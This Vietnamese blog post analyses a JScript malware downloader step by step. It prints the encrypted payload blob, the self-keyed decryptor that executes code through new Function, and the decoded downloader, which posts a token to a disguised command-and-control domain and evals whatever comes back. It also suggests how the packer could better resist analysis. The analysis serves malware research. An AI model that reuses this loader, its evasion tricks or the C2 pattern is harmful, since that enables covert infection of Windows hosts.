"0b6244727bc02c9a869992336fee6e3e3caf435b1e3569aae0ae"+
"2282"+
"d"+
"65e963562af147cb631ebc7676b2e987d34ad290aa0b699e643954bdbcc1609ea1021e78c718a3574b9f"+
"a7af3a02"+
"8d0ad82e4a20cca9a12743a62bbf5726a7f7a8da7665bc1917462e1f23e521b93c99aa4f2fb7d6a96"+
"f3f47276b27b2f69a3b4d138"+
"70c484756a8c0304e0a4587dcc64b"+
"351e6871af98e58b"+
"065e"+
"85fb587d067eea02087775895a81f5250e1737a8741e690d69bf2a67a809ab"+
"19cc85b14b739f01229be587d664bf46631ffa842399e1262814baf7c98983373594a013dbbe9b57bd04c"+
"3e8c06e3258602b5a79213136c83"+
"ec4096578c6a1c133bf"+
"353b56e96b219ba10"+
"4c946255429b54b9c593"+
"1a10a25f0fdea461"+
"32cb118f2156ebcb16a"+
"8c5bf448f70e6a0b2ca7e494bcb5bd28e58bde4323c643eb484401968c56233a5a326c0b34bfd526acc89"+
"a48d9feebacc5b"+
"86cc08f7"+
"8c4"+
"75f967414aed469437c8a9f66b66eeda"+
"876997d2858"+
"2cfe9"+
"ab5177984d17426a8e9f36679931db59d037527155f32ab988d1f75ccb0495e2fe2da0b3cfc4a7a8e99ca68ae51e4e8291cd30f01818aa9e87"+
"88a64f6dd8879f68"+
"4a0bc281941f90cafd5e70fb3406b0b6e34a11d5af7313f73715cb8d4c89177b80474f41611992e645069ab3f637c1c48f57ea"+
"e5bdcb72c388539702768fcbaca1404581689bc8"+
"764fbb90f5ecff6cd355fd37fcdb5978b990e5be6b0195d641cc7a14488578e78991584c1961b41f55584eec27afdb27c7aba5d8a1882ee7909fbdedf277e403ca4ff9b5"+
"09af52e8c2bcefb8b4507"+
"245a62619c8"+
"4762660bc69b2c411a05662ecd33"+
"3b"+
"4caa064870c6f434c816b8b5b26c3a3"+
"a64496d98a6f51d860906dd"+
"cc61dbd508c9582fc2f977ffa44"+
"2f4bef61ba695fa05e86b"+
"d"+
"036f2"+
"8967457eb189e169f0d"+
"be0f9ba0ab"+
"26f3a4"+
"bdeeac5"+
"6620fa644cd542204f205cc76166f91d7ae027c8b498c41ef7af2a1496315ee4de"+
"b8defd1"+
"91284783667220846"+
"e8aa1a"+
"43cdead1c89734ca939e6f91bccb5520582bcf4a2e"+
"6"+
"ca512991335882b8d8ae7b99cc7c"+
"103120f"+
"3e3de605dd479b4af0b6eb34dd059ff605861e0739898595e5476e8a6510be1c016a61"+
"7553c6fedbb6400c196e64f4c7afb8c9cf5ab7"+
"5b3813544a95f1d"+
"32fca6e87cf25506730dd0a2af022dea9850a051ba7e682788f9f370ba887cb2898248b8b47dcd3725571f944166ae8f833b9f4a2d5713107ffe2f8f99a51eca94e94ba9"+
"567fb92f666e6ccd53a4186e0003a0fbaa2d8545920d14a2aed1a32e599c3461bc87592e9b5fa4188952f481ad80e4bbe18b443ca23cb4ee"+
"e6fd3af529b47d8375dbd1cc57347d2f9f4893869b4a5b9762ac6e78695480ca39888c5c249e7"+
"22a64d07c58"+
"d8f92e57b"+
"c5e6bea57c4a26199bb691e01ba565c1c686427d1dd360193062ab86ed8c6b6ec805449"+
"69e1e94d83cb748f9e1768b21f8b572b0e6e686"+
"3478071905728be78fcfab34684f668cba6c1f25"+
"b52ae9bc164688a32a602f5ad226e6bca557f6aad9024749ec2ec01b233472481efc0bad070ae7edfb6730ca963dd2c0cefdf6127d30c513e8f7d4a5e66b0fd29cb37640f6044d84f0b5a0a038605799e59fd"+
"90ff01df88676e8208"+
"fa86729feb5ee689625886f4a7e74a19b021a743b9df3425b700b0c9b2f4cf8baaa2cfa7147f44a549608bb7f481f6bad81d7aa4a2ac8d922023f7cc3f3bf2a34ed13ca5b069c417892b1755f18320b8bbdfbbef2e4e690bba4d8e63"+
"e7fb6b58"+
"c7954d96a74c1bba022d"+
"fd455f9f40a57"+
"d7b42"+
"f7614139d8e17b8c6d2a7fa04196d107e4"+
"30001b2a"+
"f9e784f49c7bfdf2f3fa00de67e0e16e988"+
"f201010427a73ce2bd640af9254ae78b0554"+
"7623ca32"+
"c18ac9"+
"dd76c8469bbe57ae748be6"+
"a03f058e65baa2db23a9361f"+
"368a8e8bb93796bb0d6e0ab9a815ff27edcf5b56dda695735253f6d5d47068450dd65b072eaf966519443cdabeead6"+
"d63a49e6990a9b636a96b55934cee21c4612d7cb865fdc82f98e04e00aa025357e7ea5"+
"7c44"+
"699917f4d51219d6d40b233735f66"+
"695c1641c973fa853d74ce5da06b23888664e07c68"+
"66b983f3da"+
"337ea58f25252d9967c5edba8996505"+
"6"+
"fdbec556556d9ba24756640ac9ded88d0"+
"181a0962863"+
"139936c3264766145574"+
"5858"+
"bc91418e2ac5606"+
"64"+
"2e26b4ff1bbcc681e6d2b960f41b540c5a09ea9e76a55721e0b22f8107444767267ae6ec5aa3eb121c9cc4e1fb3dc568187ba892bb92baa4d3471243f4877b344"+
"b577"+
"6efdbb89b957525a9dbbedbd7dc56fe357b476d6327b71175bc18dacc0a97"+
"4608ab4b7a752d06da172ae51117e141c576"+
"5de7df0591035888b60b"+
"45bdf57582b0e04bad59a5c7e9057426cce2126fc5983c6fe6e6a0df12132c25d73a4e99061f3646e08fbf717961c41d75813cf6e988b8fdb10f2ce678ba5bf7e7aa13f46d9bc448003af412518fbb2ba880cc3552d995bf4eaa"+
"067ae658c00bce6e7839116426b8aeb"+
"40c"+
"d2f964b9d4053975fd22172bb89035bfd8ca9"+
"06d944c58e4db"+
"de7f5729d50");

Xem phần code chính của file này:

/*psl71qcPBRwAlTUWxq6C*/;
    var thisFunctionText = arguments.callee.toString();
    var callerFunctionText = arguments.callee.caller.caller.toString();;
    var key = [126, 242, 52, 93, 124, 32, 135, 7, 216, 55];
    var i;
    try {
        callerFunctionText += navigator.appCodeName;
        callerFunctionText += 'callerFunctionText';
    } catch (e) { } key = encKey(key, callerFunctionText);
    key = encKey(key, thisFunctionText);
    var enc_str = [];
    for (i = 0;
        i < input.length;
        i += 2) {
            enc_str.push(parseInt(input.substr(i, 2), 16));
    };
    var tmpKey = [];
    var tmpKeyLength = 1;
    while (tmpKeyLength <= key.length) {
        tmpKey = key.slice(key.length - tmpKeyLength);
        for (i = 0;
            i < enc_str.length;
            i++) {
            enc_str[i] = enc_str[i] ^ tmpKey[i % tmpKey.length];
        } tmpKeyLength++;
/*if(typeof debug !== 'undefined' && debug === true) {WSH.Echo(enc_str.join(' '));
}*/};
    for (i = 0;
        i < enc_str.length;
        i++) {
        enc_str[i] = String.fromCharCode(enc_str[i]);
    };
    
    (new Function(enc_str.join(''))());
    
    function encKey(key, str) {
        var keyIndex;
        var keyTemp;
        var i;
        var modifier = str.length % 255;
        for (i = 0;
            i < str.length;
            i++) {
                keyIndex = i % key.length;
            keyTemp = key[keyIndex];
            keyTemp = (keyTemp ^ str.charCodeAt(i)) ^ modifier;
            key[keyIndex] = keyTemp;
        };
        return key;
    }

Chúng ta chú ý sẽ thấy một ngòi nổ khác trong file này.

(new Function(enc_str.join(''))());

Nếu không defuse nó thì mình cũng dính chưởng ngay.

Mình thay dòng trên với fs.writeFileSync('data2.js', enc_str.join('')); để tiếp tục dump content ra. Nhưng không được thuận lợi lắm:

    var callerFunctionText = arguments.callee.caller.caller.toString();;
                                                            ^

TypeError: Cannot read property 'toString' of null
    at dec (C:\Users\tad88\Gits\virus\old\data.js:369:61)
    at Object.<anonymous> (C:\Users\tad88\Gits\virus\old\data.js:418:3)
    at Module._compile (module.js:652:30)
    at Object.Module._extensions..js (module.js:663:10)
    at Module.load (module.js:565:32)
    at tryModuleLoad (module.js:505:12)
    at Function.Module._load (module.js:497:3)
    at Function.Module.runMain (module.js:693:10)
    at startup (bootstrap_node.js:191:16)
    at bootstrap_node.js:612:3

Nguyên nhân là đây:

        var thisFunctionText = arguments.callee.toString();
        var callerFunctionText = arguments.callee.caller.caller.toString();

Và nó dùng chính function content để decrypt đoạn hex bên đưới:

        try {
            callerFunctionText += navigator.appCodeName;
            callerFunctionText += 'callerFunctionText';
        } catch (e) { } key = encKey(key, callerFunctionText);

Điều này có nghĩa rằng nếu không biết đâu là caller và callee thì không thể giải mã được, và nội dung bị che giấu chỉ có thể được giải mã cùng với conent đã thực thi nó. Tới lúc này chúng ta đành phải nghĩ cách bypass nó.


Trick the chick

Tạm hiểu caller chính là hàm gọi nó còn callee là function hiện tại, chỉ cần copy y nguyên nội dung của function, thay vào 2 biến này. Thực thi và dump tiếp lần nữa.

Bingo
var fileUrl = getUrl('cfhibgt.7k3n:a5l7b4/9shur.nyqltp#p.uhsqhuc#e6t#n&e:e#regj.:n:i/mfd8aaynmbp6hspi');
var tid = getUrl('a7.0&5&');
var content1 = '';
var authHeader = 'Age';
var authKey = getRandHexStr(16);
fileUrl = 'http://' + getRandHexStr(8) + '.' + fileUrl;
function getRandHexStr(length) {
    var text = "";
    var possible = "abcdef0123456789";
    for (var i = 0;
        i < length;
        i++)text += possible.charAt(Math.floor(Math.random() * possible.length));
    return text;
} function a2hex(str) {
    var arr = [];
    for (var i = 0, l = str.length;
        i < l;
        i++) {
            var hex = "00" + (Number(str.charCodeAt(i)).toString(16));
        hex = hex.substr(hex.length - 2);
        arr.push(hex);
    } return arr.join('');
} function getUrl(url) {
    var res = '';
    url = url.split('');
    for (var i = 0;
        i < url.length;
        i++) {
            if (i % 2 === 1) {
                res += url[i];
            }
    } res = res.split("").reverse().join("");
    return res;
} function decodeContent1(str) {
    var offset = 2;
    var content1_length = parseInt(str.substr(offset + 0, 6), 16);
    var content1_body = str.substr(offset + 6, content1_length * 2);
    content1 = decPayload(content1_body);
} function decPayload(str) {
    var body;
    var key;
    var i;
    var enc_str = [];
    for (i = 0;
        i < str.length;
        i += 2) {
            enc_str.push(parseInt(str.substr(i, 2), 16));
    };
    body = enc_str.slice(enc_str[0] + 1);
    key = enc_str.slice(1, enc_str[0] + 1);
    for (i = 0;
        i < body.length;
        i++) {
        body[i] = body[i] ^ key[i % key.length];
    } for (i = 0;
        i < body.length;
        i++) {
        body[i] = String.fromCharCode(body[i]);
    };
    return body.join('');
} function encStr(str) {
    var key = getRandomInt(0, 255);
    var i;
    str = str.split('');
    for (i = 0;
        i < str.length;
        i++) {
        str[i] = str[i].charCodeAt(0) ^ key;
    };
    for (i = 0;
        i < str.length;
        i++) {
        str[i] = String.fromCharCode(str[i]);
    };
    var extra_char = getRandomInt(0, 255);
    return a2hex(String.fromCharCode(extra_char) + String.fromCharCode(key) + str.join(''));
} function getRandomInt(min, max) {
    return Math.floor(Math.random() * (max - min + 1)) + min;
} function initialRequest1() {
    var req = [];
    req.push(getRandHexStr(8));
    req.push(tid);
    req.push(+(new Date()));
    var q = "";
    try {
        for (var i = 0;
            i < req.length;
            i++) {
                q += i + "=" + encodeURIComponent('' + req[i]) + "&";
        } q = encStr(q);
    } catch (error) { } var xmlHttp;
    var attempts = 2;
    var timeout = 3 * 1000;
    for (var i = 0;
        i < attempts;
        i++) {
            try {
                xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
                xmlHttp.open("POST", fileUrl, false);
                xmlHttp.setRequestHeader(authHeader, authKey);
                xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
                xmlHttp.send('a=' + q);
                if (xmlHttp.status == 200) {
                    return xmlHttp.responseText;
                } else { } WScript.Sleep(timeout);
            } catch (error) { }
    } return false;
} var data1 = initialRequest1();
if (data1 !== false && data1 != '0' && data1 != '') {
    decodeContent1(data1);
    eval(content1);
    if (typeof step2 == 'function') {
        step2();
    }
}

Tới đây thì chúng ta đều hiểu nó sẽ làm cái gì nó sẽ tải payload về từ http://[randomhex].phpmyadmin.greentechsupply.us/blank.gif tuy nhiên hiện tại mình vẫn chưa dump được thứ mình mong muốn về. Server hiện tại đang response empty (Campaign chưa chạy sao?).

Kết luận

  • Người viết downloader rất có tâm trong việc pack JavaScript, kết quả trong file original hầu như che dấu ý đồ của họ.
  • Nhìn đoạn comment còn sót lại /* if(typeof debug !== ‘undefined’ && debug === true) {WSH.Echo(enc_str.join(‘ ‘));} */ chúng ta lờ mờ đoán ra là có cả một engine để pack đống source code này.
  • Điểm sáng trong quá trình deobfuscate là, sử dụng constructor() để evade Content Security Policy, dùng function content để encrypt nội dung.
  • Điểm trừ là dùng XOR ciphernêndùng block hoặc stream cipher và sử dụng hashes của function content để tạo ra encryption key. Như vậy việc deobfuscate sẽ gặp nhiều khó khăn hơn, recursive call cũng có thể dùng kết hợp để ngăn chặt việc tìm thấy caller và callee quá dễ dàng.
  • Server chỉ response lại các request đảm bảo các giá trị ngẫu nhiên kèm theo biến thời gian. Downloader và server sẽ có cùng một thuật toán sinh token.

Sample: https://drive.google.com/file/d/1qPicSzpN_0hlnNgYT-duGCLcojOPhSqr/view

Passsword: infected

Leave a Reply

avatar
  Subscribe  
Notify of